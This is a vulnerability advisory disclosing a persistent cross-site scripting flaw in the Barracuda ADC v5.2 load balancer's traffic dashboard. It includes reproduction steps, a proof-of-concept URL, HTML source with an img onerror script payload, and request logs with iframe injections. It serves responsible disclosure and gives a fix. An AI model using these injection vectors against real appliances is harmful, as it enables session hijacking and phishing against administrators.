Document Title: =============== Barracuda ADC v5.x - Multiple Persistent Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1424 Release Date: ============= 2018-07-12 Vulnerability Laboratory ID (VL-ID): ==================================== 1424 Common Vulnerability Scoring System: ==================================== 3.8 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 2.000€ - 3.000€ Product & Service Introduction: =============================== Ensure Application Scalability,Performance, and Security. The Barracuda Load Balancer ADC is ideal for organizations looking for a high-performance, yet cost-effective application delivery and security solution. With the broadest range of hardware and virtual models, the Barracuda Load Balancer ADC provides maximum flexibility for organizations looking to build highly secure and scalable application infrastructure, whether it’s deployed on-premises or in the cloud. (Copy of the Vendor Homepage: https://www.barracuda.com/products/loadbalancer ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered multiple persistent input validation web vulnerability in the Barracuda Networks ADC v5.2.0.004 appliance web-application. Vulnerability Disclosure Timeline: ================================== 2018-07-12: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Barracuda Networks Product: ADC Load Balancer - Appliance Web Application 5.2.0.004 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== No authentication (guest) User Interaction: ================= Low User Interaction Disclosure Type: ================ Bug Bounty Program Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the official Barracuda networks ADC appliance web-application. The application-side vulnerability allows remote attackers and privileged user accounts to inject malicious script codes to compromise the online service web-application. The application-side input validation web vulnerability is located in the `last hour`,`last day` and `last week` time duration value of the traffic statistics module. Local low privileged application user account can inject malicious script code with persistent attack vector to the vulnerable to module. The injection point of the issue is the vulnerable rules add module and the execution of the malicious code occurs by the restapi (api) in the Dasboard Index module of the index.cgi file. The input form of the appliance web-application are filtered. Even if the input is filtered the internal validation does not encode the input or restricts the values. Attacker do not need to bypass the filter validation because the code executes directly through the main service in the dashboard web content. The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. Exploitation of the persistent vulnerability in the `invitation to collaborate` module requires a low privileged heroku account with low user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external source and persistent manipulation of affected or connected module context. Request Method(s): [+] POST Vulnerable Module(s): [+] Traffic - Web Umwandlungen Vulnerable Parameter(s): [+] last hour (input time duration) [+] last days (input time duration) [+] last week (input time duration) Affected Module(s): [+] Dasboard - Traffic Proof of Concept (PoC): ======================= The persistent input validation web vulnerability can be exploited by remote attackers and local low privileged application user account with low or medium user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the security vulnerability ... 1. Open the barracuda ADC web-application 2. Surf to the web traffic > web anwendungen module 3. Open the add mode to inject a script code as payload or use the edit exsiting (payload) Note: Inject to the last hours, last date and last week input field 4. Now surf back to the main dasboard module 5. The application-side script code execution occurs in the displayed time duration values 6. Successful reproduce of the persistent security vulnerability! Vulnerable Module(s): Dashboard > Traffic Statisktiken Request Method(s): POST PoC: Link http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391 &auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3C[PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]%3E&realm= &secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=... PoC: Source (Weeks,Days & Hours) <tbody><tr class="header-row"> <th class="first-column">Typ </th><th>Letzte Stunde</th> <th>Letzter Tag</th> <th>Letzte Woche</th> </tr> <tr class="content-row"> <td class="first-column">Webanfragen</td> <td><a class="clickable" href="/cgi-mod/index.cgi?auth_type=Local&et=1422210887&locale=de_DE&password=997dba782f91e37a5fa449266f8bf8fc& realm=&user=guest&primary_tab=TRAFFIC MANAGEMENT "><img src="x" onerror="prompt(23)[PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]&secondary_tab=access_logs"">5</a></td> <td><a class="clickable" href="/cgi-mod/index.cgi?auth_type=Local&et=1422210887&locale=de_DE&password=997dba782f91e37a5fa449266f8bf8fc& realm=&user=guest&primary_tab=TRAFFIC MANAGEMENT "><img src="x" onerror="prompt(23)[PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]&secondary_tab=access_logs"">27</a></td> <td><a class="clickable" href="/cgi-mod/index.cgi?auth_type=Local&et=1422210887&locale=de_DE&password=997dba782f91e37a5fa449266f8bf8fc& realm=&user=guest&primary_tab=TRAFFIC MANAGEMENT "><img src="x" onerror="prompt(23)[PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]&secondary_tab=access_logs"">389</a></td> </tr> <tr class="content-row odd-row"> <td class="first-column">Verbindungen</td> <td>5</td> <td>43</td> <td>438</td> </tr> </tbody> Note: The execution of the code occurs in the dasboard next to the traffic stats module after the code has been injected to the vulnerable time duration values. (view pictures!) --- PoC Session Logs [GET] (Execution) --- Status: 200[OK] GET http://adc.localhost:8080/cgi-mod/build_status_expiration_display_content.cgi?password=f38e497b0e70d249e8399dc0e0850898&et=1422210471&auth_type=Local&half_width=&locale=de_DE&realm=&screen_name=gslb_regions&user=guest Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[-1] Mime Type[application/json] Request Header: Host[adc.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=a%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...] Cookie[_ga=GA1.2.608616028.1422207688; _ga=GA1.2.608616028.1422207688; _gat=1] Connection[keep-alive] Response Header: Server[BarracudaHTTP 4.0] Content-Type[application/json; charset=utf-8] Transfer-Encoding[chunked] Connection[keep-alive] Cache-Control[no-cache, no-store, max-age=0] X-Frame-Options[SAMEORIGIN] - GET http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=a%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=... Mime Type[unbekannt] Request Header: Host[adc.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Cookie[_ga=GA1.2.608616028.1422207688; _ga=GA1.2.608616028.1422207688; _gat=1] - Status: 200[OK] GET http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422210471&locale=de_DE&password=f38e497b0e70d249e8399dc0e0850898&realm=&user=guest&primary_tab=TRAFFIC%20MANAGEMENT Mime Type[text/html] Request Header: Host[adc.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=a%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...] Cookie[_ga=GA1.2.608616028.1422207688; _ga=GA1.2.608616028.1422207688; _gat=1] Connection[keep-alive] Response Header: Server[BarracudaHTTP 4.0] Content-Type[text/html; charset=utf-8] Connection[keep-alive] Set-Cookie[_ga=GA1.2.608616028.1422207688; path=/_gat=1; path=/] Content-Length[57595] Pragma[no-cache] X-Frame-Options[SAMEORIGIN] - Status: 200[OK] GET http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=a%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=... Mime Type[text/html] Request Header: Host[adc.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Cookie[_ga=GA1.2.608616028.1422207688; _ga=GA1.2.608616028.1422207688; _gat=1] Connection[keep-alive] Response Header: Server[BarracudaHTTP 4.0] Content-Type[text/html; charset=utf-8] Connection[keep-alive] Set-Cookie[_ga=GA1.2.608616028.1422207688; path=/_gat=1; path=/] Content-Length[112822] Pragma[no-cache] X-Frame-Options[SAMEORIGIN] Reference(s): http://adc.localhost:8080/ http://adc.localhost:8080/cgi-mod/index.cgi http://adc.localhost:8080/cgi-mod/build_status_expiration_display_content.cgi Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable last hour, last day and last week input field values. Restrict the input and disallow special chars. Filter the context of the values to prevent an execution of script code and implement a secure valudatuib mechanism to the broken output in the dashboard service. Note: The issue was reported in 2016 to the barracuda networks developer team. The issue was finally resolved in 2017 Q1 - Q4. The disclosure process took about 1 year to complete by recognizing the patch cycle. Security Risk: ============== The security risk of the persistent input validation web vulnerability in the barracuda networks adc appliance web-application is estimated as medium. Credits & Authors: ================== Benjamin K.M. (Vulnerability Laboratory Core Research Team) - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. 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